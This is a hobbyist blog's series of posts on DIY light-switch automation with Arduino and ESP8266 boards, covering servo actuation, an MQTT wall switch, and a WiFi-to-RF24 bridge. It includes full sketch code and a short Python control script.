
I took 2 pieces of DuPont connector wire I had for my Arudino projects and hot glued one to the top half and one to the bottom half of the back side of the rocker plate.  I did not cut, or modify the switch in any way other than putting the wire through and adding some glue to the plastic paddle.

The final plan would be to replace the wire with something non conductive like fishing line and then make two tiny holes in  the back end of an electrical box and hot glue the servo to the outside back of the box.  This way the whole thing would be non-conductive should it break loose, and the low voltage servo and micro controller would not be in the same box as the high voltage switch... This also alleviates the problem of trying to cram a servo into a tiny electrical box.

I'm not 100% sure this is to code, but since all the modifications are non conductive and the LV stuff is outside the box it should be relatively safe.

I DO NOT RECOMMEND ANYONE TRY THIS AS IT IS PROBABLY AGAINST SOME KIND OF CODE AND TAKE NO RESPONSIBILITY IF YOUR HOUSE BURNS DOWN OR YOUR DIE!!!!

Here's a video of it in action:
https://www.youtube.com/watch?v=BXbQ4DRkqv0

Saturday 18 March 2017

Wemos ESP8266 based (WiFi) Stick-A-Switch Arduino Compatible




I got this guy off eBay for $4, I'm pretty sure it's a Chinese clone of the actual thing and it _might_ be an older revision but it seems to work...

The board is a Wemos D1, I believe in this boards case you are programming the ESP chip itself and it does not have the usual Atmega processor.  It works with the Arduino IDE however and programs in the same way so  there is no learning curve.

You will need to load the ESP boards into your Arduino IDE, so follow these instructions to do that.

This unit seems to take longer to actually upload sketches to, but it seems to be much more reliable as far as staying on and responding on the WiFi and being less location sensitive than the WiFi Shield I used in my last project.

I believe it has less inputs (for sure on the analog side it only has 1). It should have 11 input pins but apparently they don't match the standard pin numbering. They are also labeled with specific purposes (SPI it looks like) so I'm not sure if you are required to use them for that or not, I put this one into a project so I can't test it, I have another on the way and I'll add some more details in the future.

According to the datasheet:
11 digital input/output pins, all pins have interrupt/pwm/I2C/one-wire supported(except for D0)
1 analog input(3.2V max input)
Power jack, 9-24V power input.

You can find more information on it here:

It seems to have internal pullup/pulldown on some pins, again according to the datasheet.

Anyway enough jibber-jabbering... Let's do something fun with it!

I decided to try and make a switch that could send messages to control something with this...
I decided I wanted to get MQTT working so this will tell you how to make this.

I also today learned about this library called WiFiManager which mimics the usual behavior of IoT devices providing an AP to configure it's WiFi parameters so I have added this to the project as well.

It is possible to add additional settings such as MQTT server to WiFi manager so you can set everything up on the fly via your smartphone, but I haven't done that yet, I have just put the servers IP into the code.

So I took a box (which happened to be from a WiFi Controller for some connected bulbs) that was the perfect size for the switch and somewhat rigid.  I cut a hole in it so the back of the standard light switch would slip in there and bolted it to the box.

I put a resistor into GND and pin D2 on the Wemos board, and the plugged the switch into 5v and the D2 side of the resistor and wrapped it all in electical tape to keep it from shorting out.  I then put some tape on the bottom of the board to make sure it wouldn't short out against the switch and jammed it into the box.   A cover plate for the switch completed the build.

I then loaded the following sketch onto the board, and added a new topic to my X10 controller's MQTT receiver (that currently controls the lights in the bathroom)..

You will need to load the PubsubClient (MQTT Client)
You will also need  WiFi Manager if you plan on using it as I did in this sketch
The rest should already be installed with the board.

============Start Sketch ==============

/*
 *  MQTT Light switch by Guyfromhe
 */

#include <ESP8266WiFi.h>
#include <PubSubClient.h>
#include <DNSServer.h>
#include <ESP8266WebServer.h>
#include <WiFiManager.h>

const char* ssid = ".....";   // Not used if using WiFiManager
const char* password = "......"; // Not used if using WiFiManager





const int swpin = 16;  // This is pin D2 on the board... Don't ask me :P
int sw = 0;
int lastsw = 0;
int buttonTime = 0;

//const char* mqtt_server = "broker.mqtt-dashboard.com";    // Public Broker. Can use if you want
const char* mqtt_server = "192.168.0.xxx";  // Mosquito on my Raspberry Pi (apt-get install mosquitto)
WiFiClient espClient;   // Init WiFi
PubSubClient client(espClient);  //Init MQTT client
long lastMsg = 0;
char msg[50];
int value = 0;

void setup_wifi() {

  delay(10);
  // We start by connecting to a WiFi network
  Serial.println();
  Serial.print("Connecting to ");
  Serial.println(ssid);

  //WiFi.begin(ssid, password);  // Uncomment this if you want to use the credentials at the top
   WiFiManager wifiManager;   // or use WiFi manager for credentials
   wifiManager.autoConnect("AutoConnectAP");

  while (WiFi.status() != WL_CONNECTED) {
    delay(500);
    Serial.print(".");
  }

  randomSeed(micros());

  Serial.println("");
  Serial.println("WiFi connected");
  Serial.println("IP address: ");
  Serial.println(WiFi.localIP());
}

void callback(char* topic, byte* payload, unsigned int length) {
// This will print out messages from topics we are subbed to
// This is the default code from the PubSub Example, it will control the LED
  Serial.print("Message arrived [");
  Serial.print(topic);
  Serial.print("] ");
  for (int i = 0; i < length; i++) {
    Serial.print((char)payload[i]);
  }
  Serial.println();

  // Switch on the LED if an 1 was received as first character
  if ((char)payload[0] == '1') {
    digitalWrite(BUILTIN_LED, LOW);   // Turn the LED on (Note that LOW is the voltage level
    // but actually the LED is on; this is because
    // it is acive low on the ESP-01)
  } else {
    digitalWrite(BUILTIN_LED, HIGH);  // Turn the LED off by making the voltage HIGH
  }

}

void reconnect() {
  // Loop until we're reconnected
  while (!client.connected()) {
    Serial.print("Attempting MQTT connection...");
    // Create a random client ID
    String clientId = "ESP8266Client-";
    clientId += String(random(0xffff), HEX);
    // Attempt to connect
    if (client.connect(clientId.c_str())) {
      Serial.println("connected");
      client.subscribe("inTopic");
    } else {
      Serial.print("failed, rc=");
      Serial.print(client.state());
      Serial.println(" try again in 5 seconds");
      // Wait 5 seconds before retrying
      delay(5000);
    }
  }
}

void setup() {
  pinMode(swpin, INPUT);
  sw = digitalRead(swpin);
  lastsw = digitalRead(swpin);
  Serial.begin(115200);

  // Bring up MQTT
  pinMode(BUILTIN_LED, OUTPUT);     // Initialize the BUILTIN_LED pin as an output
  setup_wifi();
  client.setServer(mqtt_server, 1883);
  client.setCallback(callback);




}

void loop() {
  // MQTT
 if (!client.connected()) {
    reconnect();
  }
  client.loop();



  // Button



  sw = digitalRead(swpin);
  if (sw != lastsw) {
    if ((millis() - buttonTime) > 50)        // Number of mills for debounce counter
      Serial.println(sw);
      lastsw = sw;
      buttonTime = millis();
      if (sw == 0) { client.publish("MySwitchTopic", "Switch Off!"); }
      if (sw == 1) { client.publish("MySwitchTopic", "Switch On!"); }
   
  }

}

============ End Sketch ==============

After running a short USB cable to it (since it needs constant power) I stuck it to the wall with some mounting tape.  Works great and is simple to use.

EDIT: Recently upgraded from X10 to Lutron for control of the actual fixture and now the delay between flipping the switch and the light changing states is gone.  See my post on Lutron for details.

In the future I would like to make it much thinner by modifying the switch and run it on batteries by building an Arduino from scratch and using ultra low power sleep mode along with an nRF24 in sleep mode.

Total cost $4.



Stay tuned for more projects, and cheap hacks.

Wednesday 15 March 2017

Arduino Light Switch -- Making it WiFi (AKA Look maw, no PC)



This entry will detail my bridge step in making a WiFi to RF24 self contained bridge without a Pi or any other computer.  The final step will be to get rid of the RF24 and just have the WiFi module control the servo directly.


So my WiFi Shield (or in this case Shia1d) showed up today in the mail even though I wasn't expecting it for another month or so so I figured I would see what info I could find about it, and it didn't look good...

This $6 eBay special (ESP-12E ESP8266 UART WIFI Wireless Shield for Arduino UNO R3) had all sorts of tales of woe from lack of documentation to firmware issues to pins not connecting to the right place, but one site aggregated all the info and really helped me get this thing going.

These will be labeled as follows:
ESP8266 WiFi Sheild Version 1.0 by WangTongze
elecshop.ml
Designed in Beijjing P.R. China


First off, you need to know there are at least 4 different versions of the board and there are no promises which one you will get.

DIP 1 and 2 are _supposed_ to connect and disconnect the ESP from pins 0/1 (hardware serial) but they often DON'T DO ANYTHING...
DIP 2 and 3 are used to enable firmware flashing mode on the board on all revisions

The version I got is unstable running as a web server.  When placed in the right location I can get 0% packet loss (it is very picky about location) but I often don't get a page back. It does seem to always read my request and execute my code, so my lights always switch correctly but 40% of the time I don't get the web page back from it, which is no big deal for my current application but could be a deal breaker for someone trying to get status or other information from the device.
While I had the serial interface connected I would sometimes see TIMEOUT from the library talking to the ESP usually after a web request so this would probably explain it... You may be able to add some error checking in the sketch if it really bugs you, or just reload a few times and it will eventually work...

According to Claus, the new version (with the maintenance pins not populated, the word shield spelled correctly and a different shape on the antenna on the ESP module) provides a fast and stable web interface so try and get that version if you can.


To start you want to flash the latest firmware on the device, we will use the Uno as a TTL to serial converter. (You can use a TTL to serial cable if you want)

Put a jumper between RST (pin 3 on the power rail) and GND. This will keep the MCU out of the picture.

Connect your shield as follows (not plugged into the top of your Uno yet, but next to it).

Debug Port RX => Uno Pin 0 (Rx)
Debug Port TX => Uno Pin 1 (Tx)
Debug Port 5v => Uno 5v
Debug Port GND => Uno GND

The ESP is meant to use 3.3v logic but the Uno uses 5v.  You can use a level shifter if you want but I have yet to hear about anyone wrecking their device on 5v (me included on 2 different ones so far).  If you do happen to let the smoke though, don't blame me.

Open your serial monitor and set the baud to 115200... When you reset your ESP with the button it should show some garbage (the garbage is actually the boot loader at a different baud rate) and then say ready.

Set your terminal to CR & LF then send AT.  You should get an OK back from the ESP... If you don't make sure you didn't plug the ESP into the top of your Uno, and make sure you wires are secure...

Download this flasher utility from  http://www.xess.com/blog/esp8266-reflash/
And the Firmware from https://github.com/sleemanj/ESP8266_Simple/tree/master/firmware
You want the 1.1.1 Version as of this writing and the 115200 subset.  Make sure the file is about a meg (I got a bunk file somehow and it took me a while to figure out what was wrong)
1,044,480 ai-thinker-v1.1.1-115200.bin

Unplug your Uno and set dip switches 3 and 4 to ON on the shield, this will put your ESP into programming mode, then plug it back it... Make sure your serial monitor is closed.

Open the flash utility:
Click on Bin and locate the bin file you downloaded (don't bother with the included one in the zip)
Change the COM to the com port your Arduino is using (you can check this under Tools -> Port in the IDE)
You can leave the 0x0000000 defaults alone and hit Download...
It will say Erasing and then Writing, this process should take around a minute or so... When it gets to Leaving at the end it WILL return an error you can ignore this, it's normal.
Close the flasher, unplug your Arduino, turn switches 3 and 4 off and then plug er back in.

Open the serial monitor again and check your device boots still and that you can still get the OK.

If it doesn't give you the ready anymore, you can change the baud rate to 78 something and you can see the boot loader messages... Usually this means you flashed bad firmware... Check everything and then repeat the flashing steps, I don't think you can actually brick it... You can always flash the included firmware in the zip to see if you can flash working firmware on the device, but you need to update to the latest version still...

Finally since we have to use software serial we will need to slow the ESP down to 9600 BPS or we will  have communication issues.

In your terminal enter the following command: AT+UART_DEF=9600,8,1,0,0
This should return OK and will be stored in NVRam so you only need to do this once.  Reboot it and change your serial console to 9600 to make sure it took effect.

Phew that's finally over, now we can start the fun part!

Remove all the jumpers from the Uno side, and remove the wires from +5v and GND from the debug port.  We will need the RX and TX still though don't pull them off...

Now stick the shield onto your Uno.. The first pin on the power rail will hit the Reset pin on the Arduino, the first 2 aren't populated. The last pins should all line up properly.  Make sure you don't have any bent or missing pins..

Now plug the Debug RX into the pass through for pin 2 and the Debux TX into the pass through for pin 3.     Since we need the hardware serial for programming the Uno and Serial debug we will need to use software serial.

Note: If you have issues programming your Uno or using the serial console while the shield is plugged in make sure DIP 1 and 2 are off.. If it still won't work, try bending pins 0 and 1 so they don't plug into the Uno, this is a problem on some revisions.

Don't forget to switch your serial console back to 115200 at this point.

Grab the WiFiESP library from here and install the zip file (see my last post if you don't know how to download and install libraries)

Load the example code WiFiESP -> ScanNetworks
You will need to update the pin numbers with the following line: "SoftwareSerial Serial1(6,7)" to SoftwareSerial Serial1(3,2) -- The 3,2 being the only change!
Compile and run that and your ESP should come to life and show a list of networks in range and their power levels in the serial monitor.  If this doesn't work check your connections and make sure your PC is able to supply enough power (at least 350mA).

If all goes well, move on to the webserverled example... You need to put your SSID and password into the sketch before running it, then follow the instruction in the serial monitor to connect to your device with your web browser!

If all is well you should see the status and be given links to toggle LED 13 (you need to peek inside as this LED is covered by the shield).  Click the links and make sure the LED toggles and the status updates in your browser.  It may occasionally not load, just hit refresh... I think this just happens sometimes but it seems pretty rare if you have good power.

Great now for the "bridge" part of this project, we will connect the RF24 module like before and then run a modified version of the webserverled sketch to send out commands...

See my last post for detailed instructions on the RF24 but for quick reference:
Brown Wire -> GND
Red Wire -> 3.3v
Orange Wire -> Pin 7
Yellow Wire -> Pin 8
Blue Wire -> Pin 11
Purple Wire -> Pin 12
Green Wire -> Pin 13

Load up the following sketch substituting your SSID and password where requested...

Most of the code for the RF24 is copied from the previous sketch, see it if you want more comments..

----------------------Start Arduino Sketch----------------------------

/*
 WiFiEsp example: WebServerLed
 MODIFIED BY GUYFROMHE TO BE A CLIENT FOR RF24 LIGHT SWITCH
 A simple web server that lets you turn on and of an LED via a web page.
 This sketch will print the IP address of your ESP8266 module (once connected)
 to the Serial monitor. From there, you can open that address in a web browser
 to turn on and off the LED on pin 13.

 For more details see: http://yaab-arduino.blogspot.com/p/wifiesp.html
*/

// RF24 to WiFi bridge

#include "WiFiEsp.h"

#include <SPI.h>
#include "RF24.h"

// Setup RF24
RF24 radio(7,8); // Stand Alone

bool radioNumber = 1; // Stand Alone
bool role = 1; // Stand alone
unsigned long cmd=255;                             // Do not send anything by default

byte addresses[][6] = {"1Node","2Node"};  // You can change the node names here if you'd like, I left them alone

// Emulate Serial1 on pins 3/2 if not present
#ifndef HAVE_HWSERIAL1
#include "SoftwareSerial.h"
SoftwareSerial Serial1(3, 2); // RX, TX
#endif

char ssid[] = "YOURSSID";            // your network SSID (name)
char pass[] = "YOUR-WIFI-PASSWORD";        // your network password
int status = WL_IDLE_STATUS;

//int ledStatus = LOW;

WiFiEspServer server(80);

// use a ring buffer to increase speed and reduce memory allocation
RingBuffer buf(8);

void setup()
{
  // Setup RF24
  radio.begin();
  // It's now really close to my device and I want to conserve power. If you need more range change to MAX
  radio.setPALevel(RF24_PA_MIN);
  radio.openWritingPipe(addresses[1]);
  radio.openReadingPipe(1,addresses[0]);

  radio.startListening();

  // WiFi Stuff
  //pinMode(LED_BUILTIN, OUTPUT); // initialize digital pin LED_BUILTIN as an output.
  Serial.begin(115200);   // initialize serial for debugging
  Serial1.begin(9600);    // initialize serial for ESP module
  WiFi.init(&Serial1);    // initialize ESP module

  // check for the presence of the shield
  if (WiFi.status() == WL_NO_SHIELD) {
    Serial.println("WiFi shield not present");
    // don't continue
    while (true);
  }

  // attempt to connect to WiFi network
  while (status != WL_CONNECTED) {
    Serial.print("Attempting to connect to WPA SSID: ");
    Serial.println(ssid);
    // Connect to WPA/WPA2 network
    status = WiFi.begin(ssid, pass);
  }

  Serial.println("You're connected to the network");
  printWifiStatus();

  // start the web server on port 80
  server.begin();
}


void loop()
{
  WiFiEspClient client = server.available();  // listen for incoming clients

  if (client) {                               // if you get a client,
    Serial.println("New client");             // print a message out the serial port
    buf.init();                               // initialize the circular buffer
    while (client.connected()) {              // loop while the client's connected
      if (client.available()) {               // if there's bytes to read from the client,
        char c = client.read();               // read a byte, then
        buf.push(c);                          // push it to the ring buffer

        // printing the stream to the serial monitor will slow down
        // the receiving of data from the ESP filling the serial buffer
        //Serial.write(c);
     
        // you got two newline characters in a row
        // that's the end of the HTTP request, so send a response
        if (buf.endsWith("\r\n\r\n")) {
          sendHttpResponse(client);
          break;
        }

        // Check to see if the client request was "GET /H" or "GET /L":
        if (buf.endsWith("GET /1")) {
          Serial.println("Turn light ON");
          //ledStatus = HIGH;
       
          // Send RF24 command
          radio.stopListening();                                    // First, stop listening so we can talk.
          cmd = 1;
          Serial.println("Trying to send to radio");
          if (!radio.write( &cmd, sizeof(unsigned long) )){
              Serial.println(F("failed"));
          }
          if (!radio.write( &cmd, sizeof(unsigned long) )){
              Serial.println(F("failed"));
          }

          if (!radio.write( &cmd, sizeof(unsigned long) )){
              Serial.println(F("failed"));
          }

          if (!radio.write( &cmd, sizeof(unsigned long) )){
              Serial.println(F("failed"));
          }

          if (!radio.write( &cmd, sizeof(unsigned long) )){
              Serial.println(F("failed"));
          }
       
       
          Serial.println("Thats it...");
          radio.startListening();                                    // Listen again

       
          //digitalWrite(LED_BUILTIN, HIGH);   // turn the LED on (HIGH is the voltage level)
        }
        else if (buf.endsWith("GET /0")) {
          Serial.println("Turn light OFF");
       
          // Send RF24 command
          radio.stopListening();                                    // First, stop listening so we can talk.
          cmd = 0;
          Serial.println("Trying to send to radio");
          if (!radio.write( &cmd, sizeof(unsigned long) )){
              Serial.println(F("failed"));
          }
          if (!radio.write( &cmd, sizeof(unsigned long) )){
              Serial.println(F("failed"));
          }

          if (!radio.write( &cmd, sizeof(unsigned long) )){
              Serial.println(F("failed"));
          }

          if (!radio.write( &cmd, sizeof(unsigned long) )){
              Serial.println(F("failed"));
          }

          if (!radio.write( &cmd, sizeof(unsigned long) )){
              Serial.println(F("failed"));
          }
       
       
          Serial.println("Thats it...");
          radio.startListening();                                    // Listen again

          //ledStatus = LOW;
          //digitalWrite(LED_BUILTIN, LOW);    // turn the LED off by making the voltage LOW
        }
        else if (buf.endsWith("GET /T")) {
          Serial.println("Toggle Light");
       
          // Send RF24 command
          radio.stopListening();                                    // First, stop listening so we can talk.
          cmd = 2;
          Serial.println("Trying to send to radio");
          if (!radio.write( &cmd, sizeof(unsigned long) )){
              Serial.println(F("failed"));
          }
          if (!radio.write( &cmd, sizeof(unsigned long) )){
              Serial.println(F("failed"));
          }

          if (!radio.write( &cmd, sizeof(unsigned long) )){
              Serial.println(F("failed"));
          }

          if (!radio.write( &cmd, sizeof(unsigned long) )){
              Serial.println(F("failed"));
          }

          if (!radio.write( &cmd, sizeof(unsigned long) )){
              Serial.println(F("failed"));
          }
       
       
          Serial.println("Thats it...");
          radio.startListening();                                    // Listen again

          //ledStatus = LOW;
          //digitalWrite(LED_BUILTIN, LOW);    // turn the LED off by making the voltage LOW
        }
      }
    }
 
    // close the connection
    client.stop();
    Serial.println("Client disconnected");
  }
}


void sendHttpResponse(WiFiEspClient client)
{
  // HTTP headers always start with a response code (e.g. HTTP/1.1 200 OK)
  // and a content-type so the client knows what's coming, then a blank line:
  client.println("HTTP/1.1 200 OK");
  client.println("Content-type:text/html");
  client.println();

  // the content of the HTTP response follows the header:
  client.print("<b>Office Lights Control</b>");
  //client.print("The LED is ");
  //client.print(ledStatus);
  client.println("<br>");
  client.println("<br>");

  client.println("Click <a href=\"/1\">here</a> turn the lights on<br>");
  client.println("Click <a href=\"/0\">here</a> turn the lights off<br>");
  client.println("Click <a href=\"/T\">here</a> toggle the lights<br>");

  // The HTTP response ends with another blank line:
  client.println();
}

void printWifiStatus()
{
  // print the SSID of the network you're attached to
  Serial.print("SSID: ");
  Serial.println(WiFi.SSID());

  // print your WiFi shield's IP address
  IPAddress ip = WiFi.localIP();
  Serial.print("IP Address: ");
  Serial.println(ip);

  // print where to go in the browser
  Serial.println();
  Serial.print("To see this page in action, open a browser to http://");
  Serial.println(ip);
  Serial.println();
}
------------------------------ END SKETCH --------------------------------

Upload the sketch and open the serial monitor... If your Uno starts disconnecting from USB you aren't providing enough power to keep it running.. You can probaly move it to a plug or USB charger now though assuming it's working and you have written down it's IP.

You can now send commands by browsing to your devices IP and clicking the links or accessing /1 /2 or /T URLs.   This should in turn control your servo half of the project without any changes.

You should get the following page in your browser:

The strings are obvious in the sketch, feel free to make them your own!!

Though the browser works fine, it will make spurious requests (like favicon) and send a ton of extra data which can slow down and overwhelm your little ESP so it's not ideal to access it this way all the time.. For best results use the script below...

Now all that's left is a super simple Python script to control the lights from any machine on your network for easy integration into your automation system.  


---------------------Start remote.py ----------------------------------
import urllib2, sys

ip = "192.168.0.xxx"     # This is the IP of your ESP

cmd = sys.argv[1]

out = ""
if cmd == "1": out = "1"
if cmd == "0": out = "0"
if cmd.lower() == "t": out = "T"


try:
x = urllib2.urlopen('http://%s/%s' % (ip,out), timeout=1).read()
print x
except:
try:
print "Retrying..."
x = urllib2.urlopen('http://%s/%s' % (ip,out), timeout=1).read()
print x
except:
pass

-----------------------End-----------------------------------------

Then just run python remote.py 0 for off, python remote.py 1 for on and python remote.py t for toggle.

Let me know if you have any questions or found this information helpful in the comments.